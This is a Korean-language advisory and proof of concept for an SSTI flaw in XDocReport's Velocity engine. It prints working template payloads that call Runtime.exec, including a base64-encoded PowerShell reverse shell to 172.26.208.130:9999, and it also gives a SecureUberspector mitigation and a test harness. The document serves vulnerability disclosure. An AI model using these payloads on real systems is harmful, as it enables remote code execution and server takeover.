
CVE-2026-38165 (SSTI)
취약점 개요
서버 측 템플릿 삽입(SSTI)은 콘텐츠 관리 시스템(CMS) 및 웹 프레임워크에서 사용되는 템플릿에 악성 코드를 삽입하여 원격 공격, 민감 정보 탈취 또는 시스템 침투 작업을 수행할 수 있게 하는 웹 보안 취약점입니다.
SSTI는 SQL 인젝션, XSS 등과 같은 인젝션 취약점의 변형으로, 공격자는 템플릿 시스템을 악용하여 원격으로 악성 코드를 배포합니다. SSTI 공격이 성공하면 공격자는 서버 측에서 자신의 코드를 실행할 수 있게 되어 민감 정보 수집, 시스템 침투 작업, 무단 자원 접근 등 원격 공격을 수행할 수 있습니다.
SSTI 취약점은 일반적으로 안전하지 않은 템플릿 시스템을 사용하거나 템플릿에 입력 매개변수를 삽입하기 전에 검사 및 처리를 하지 않아 발생합니다. SSTI 공격이 성공하면 피해 조직에 심각한 손실을 초래할 수 있습니다.
비즈니스 영향
SSTI 취약점은 다음과 같은 심각한 결과를 초래할 수 있습니다:
악성 코드 실행: 공격자는 이 취약점을 사용하여 서버에서 악성 코드를 실행하여 데이터 탈취, 시스템에서 불법 행위 수행, 나아가 서버 전체를 제어할 수 있습니다.
민감 정보 노출: SSTI는 공격자가 서버의 파일을 읽고, 수정하거나 삭제할 수 있게 합니다. 이러한 파일에 계정 및 비밀번호와 같은 민감 정보가 포함된 경우 공격자가 쉽게 노출시킬 수 있습니다.
사용자 위협 또는 피싱 공격: 공격자는 SSTI를 사용하여 웹 페이지 내용을 변경하거나 가짜 맞춤 버튼을 추가하여 사용자를 위협하거나 피싱할 수 있습니다. 사용자가 이러한 버튼을 클릭하면 공격자가 사용자 정보를 탈취하거나 컴퓨터에 악성 소프트웨어를 설치할 수 있습니다.

fr.opensagres.xdocreport.template.velocity
OpenSAGRES XDocReport에서 DOCX 템플릿을 velocity 엔진으로 처리할 때 서버 측 템플릿 삽입(SSTI) 취약점이 발견되었습니다. 특정 구성에서 조작된 템플릿은 원격 코드 실행(RCE)으로 이어질 수 있습니다.
인사 관리 웹사이트는 사용자가 .docx 문서 파일을 시스템에 업로드할 수 있도록 합니다. 처리 과정에서 애플리케이션은 velocity 템플릿 엔진(파일에서)을 사용하여 콘텐츠를 렌더링하지만 입력 콘텐츠를 제어하거나 필터링하는 메커니즘이 없습니다.
이 취약점으로 인해 공격자는 .docx 파일(템플릿)에 악성 표현식을 삽입하여 서버에서 원격 코드 실행(RCE)을 유발할 수 있으며, 정보 탈취 또는 시스템 장악에 악용될 수 있습니다.
fr.opensagres.xdocreport.template.velocity — XDocReport (버전 =< 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...)는 Apache Velocity의 표준/기본 메서드로, Reader(또는 String)에서 템플릿을 평가(evaluate)하고 Context를 사용하여 Writer에 출력합니다. 이는 Template.merge(...)와 동일하게 VTL(Velocity Template Language) 구문을 실행합니다.
evaluate: Reader/String에서 구문 분석 → 템플릿이 동적/신뢰할 수 없는 경우에 편리합니다.
getTemplate(...).merge(...): 리소스 로더가 처리한 템플릿을 로드(캐싱, 인코딩 등)한 후 병합(merge)합니다. VTL 실행 가능성 측면에서는 둘 다 동일한 표현식을 실행합니다. 주요 차이점은 템플릿 로드 위치/모드입니다.
.docx 파일을 업로드합니다.
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130인 wsl입니다.
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

.docx 파일을 xdocreport로 전송하여 처리

velocityEngineProperties.setProperty(
"runtime.introspector.uberspect",
"org.apache.velocity.util.introspection.SecureUberspector"
);
Apache Velocity SecureUberspector 클래스는 샌드박스 인트로스펙터입니다.
SecureUberspector는 다음을 차단합니다:
velocityEngineProperties.setProperty(
"introspector.restrict.classes",
"java.lang.Class,
java.lang.ClassLoader,
java.lang.Process,
java.lang.Runtime,
java.lang.System,
java.lang.Thread"
);
velocityEngineProperties.setProperty(
"introspector.restrict.packages",
"java.lang.reflect"
);
차단 대상:
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Velocity 표현식이 포함된 입력 파일 읽기
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // 입력 파일
InputStream input = new FileInputStream(docxTemplate);
// Velocity를 사용하여 템플릿 로드
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// 컨텍스트 생성 - 독립 표현식 테스트 시 비워둘 수 있음
IContext context = report.createContext();
// 새 파일로 출력
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ result.docx 파일이 성공적으로 생성되었습니다.");
} catch (Exception e) {
System.err.println("❌ 파일 처리 오류:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>













